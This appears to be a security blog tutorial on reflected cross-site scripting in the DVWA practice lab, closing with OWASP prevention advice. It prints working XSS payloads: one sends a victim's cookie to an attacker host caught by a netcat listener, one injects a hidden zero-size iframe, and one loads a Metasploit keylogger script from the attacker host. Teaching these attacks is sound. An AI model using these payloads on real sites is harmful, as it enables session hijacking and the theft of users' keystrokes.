Saturday, February 4, 2017

Beginning Web Application Testing - Cross Site Scripting (XSS)–DVWA

In this post, we take a look at Cross Site Scripting (XSS) and some of the things we can do via a web application as a result of this vulnerability.

XSS is a vulnerability found in web applications which aims to take advantage of the trust a user has with a specific website and is caused by injecting malicious scripts into a web site. There are basically 3 classes of XSS. These are reflective, stored and Document Object Model (DOM) Based. Reflective and Stored XSS are server side related while DOM based is client (browser) side issue. Regardless of the type, the code originates at the server. With reflective/stored, the code is injected in the browser during server side processing of requests. For DOM based, the malicious code is injected in the client directly during runtime.

In this post, we will leverage reflective XSS vulnerability in Dam Vulnerable Web App (DVWA) to perform the following three tasks.
- Steal Cookies
- embed information from another site in the vulnerable XSS page
- key logger

Let's first test the page to confirm the XSS vulnerability exists by using "<script>alert('Vulnerable to XSS')</script>"
 
Once we click "submit" we get ...

Good stuff! Looks like the page is vulnerable to XSS. Let's now look into addressing our tasks from above.

First up let's steal the cookies
To achieve this we will first setup a host to receive the cookie. To do this let's leverage “netcat”.

Let's setup our netcat listener

root@securitynik:~# nc -l -p 80 -v -n
-l - use listening mode (Basically operate like a server and listen for incoming connections)
-p 80 - listen on port 80
-v - be verbose
-n - Don't perform hostname lookup


Let's assume we manage to get to execute the following link within the user's session "<script>window.location='http://10.0.0.101/stealCookie.txt?'+document.cookie</script>"


Then as we look at our listening host, we see the host's request comes through with the information we need.


Now that we have this cookie we can look to the next post for how we can use this to perform session hijacking in which we use the user’s cookie to perform actions on their behalf from another device.

Embedding Information in a web page
Let's now look at embedding information in a web page via an "iframe."

In this case, let's load a document from my blog into this page using
"<iframe src="https://securitynik.blogspot.com" ></iframe>"
 
Once the script is executed, we see the image below, which includes the embedded website.
 

Now, while what was just done may be helpful in defacing a website, it really is probably not what an attacker who has malicious intent would do. That malicious attacker would probably do something like:
"<iframe src="https://securitynik.blogspot.com" width=0 height=0></iframe>".
Note in this case there is the height and width specified.



Once executed we see ...

 
Looking at the screenshot it does not look much different from what was done before. However, the iframe has basically been injected. If you look closely, next to the "Hello" there seems to be a “dot”. That's the evidence that the iframe has been injected in this example.

Let's now leverage XSS vulnerabilities as a keylogger.

To achieve this, let's leverage Metasploit. Specifically, we will use the Metasploit auxiliary module "http_javascript_keylogger"

“use auxiliary/server/capture/http_javascript_keylogger”

Now that we have Metasploit running at "http://10.0.0.101:8080/rcBepZpS" let's append "/securityNik.js" to the link. As a result our injected script looks like

<script src="http://10.0.0.101:8080/rcBepZpS/SecurityNik.js"></script>
 
When we add this to the page and the page is returned it looks like nothing happened.

However, if we were to start typing within the input box, we see the following at our Metasploit console:

 

As we can see above, this information is being written to the file system. Looking below we see some of these files.
Below we see a snapshot of the contents of one of these files. Basically our keystrokes are being logged.


How to avoid or having your site vulnerable to XSS?
Newer browsers have mitigation techniques to assist for XSS. As a result, keeping your browsers updated should help tremendously. Additionally, OWASP provides the following guidance on how to avoid this vulnerability. For reflective and stored XSS the guidance is to perform appropriate validation and escaping on the server side.

While you can use HTML entity encoding for untrusted data that goes in the body of the HTML document, this does not not work when data is placed inside the "<script>" tag. OWASP also states "You MUST use the escape syntax for the part of the HTML document you're putting untrusted data into."
The following prevention rules should also be implemented.


- Don't allow untrusted data in your HTML document, unless it is in an allowed location.
- HTML Escape Before Inserting Untrusted Data into HTML Element Content
- Attribute Escape Before Inserting Untrusted Data into HTML Common Attributes
- JavaScript Escape Before Inserting Untrusted Data into JavaScript Data Values
- HTML escape JSON values in an HTML context and read the data with JSON.parse
- CSS Escape And Strictly Validate Before Inserting Untrusted Data into HTML Style Property Values
- URL Escape Before Inserting Untrusted Data into HTML URL Parameter Values
- Sanitize HTML Markup with a Library Designed for the Job
- Use HTTPOnly cookie flag
- Implement Content Security Policy
- Use an Auto-Escaping Template System
- Use the X-XSS-Protection Response Header

Reference:
https://www.owasp.org/index.php/Cross-site_Scripting_(XSS) https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting
http://www.scriptalert1.com/
http://www.cgisecurity.com/xss-faq.html
http://www.perl.com/pub/2002/02/20/css.html
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
https://www.owasp.org/index.php/DOM_Based_XSS
https://www.owasp.org/index.php/Category:OWASP_Testing_Project
https://www.owasp.org/index.php/Testing_for_DOM-based_Cross_site_scripting_(OWASP-DV-003)
http://www.w3schools.com/js/js_htmldom.asp
https://www.owasp.org/index.php/Testing_for_Reflected_Cross_site_scripting_(OWASP-DV-001)
https://excess-xss.com
http://www.testingsecurity.com/how-to-test/injection-vulnerabilities/xss-injection
https://www.godaddy.com/garage/webpro/security/understanding-cross-site-scripting-xss-attacks/
https://www.tinfoilsecurity.com/blog/what-is-cross-site-scripting-xss
https://www.veracode.com/security/xss
http://www.acunetix.com/websitesecurity/xss/
http://www.acunetix.com/websitesecurity/cross-site-scripting/
https://www.incapsula.com/web-application-security/cross-site-scripting-xss-attacks.html
https://alihassanpenetrationtester.blogspot.ca/2013/01/cross-site-scriptingxss-complete.html
https://static.googleusercontent.com/intl/hu/about/appsecurity/learning/xss/
http://www.howtocreate.co.uk/crosssite.html
https://google-gruyere.appspot.com/part2
https://httpd.apache.org/info/css-security/encoding_examples.html
https://support.portswigger.net/customer/portal/articles/1965737-using-burp-to-find-cross-site-scripting-xss-issues
https://www.exploit-db.com/docs/18895.pdf
https://developer.salesforce.com/page/Secure_Coding_Cross_Site_Scripting
http://www.codeproject.com/Articles/573458/An-Absolute-Beginners-Tutorial-on-Cross-Site-Scrip
http://securitytraning.com/web-for-pentester-cross-site-scripting-example-9/
http://www.cse.wustl.edu/~jain//cse571-07/ftp/xsscript/index.html
https://www.dionach.com/blog/the-real-impact-of-cross-site-scripting
https://www.rapid7.com/db/modules/auxiliary/server/capture/http_javascript_keylogger
https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet

No comments:

Post a Comment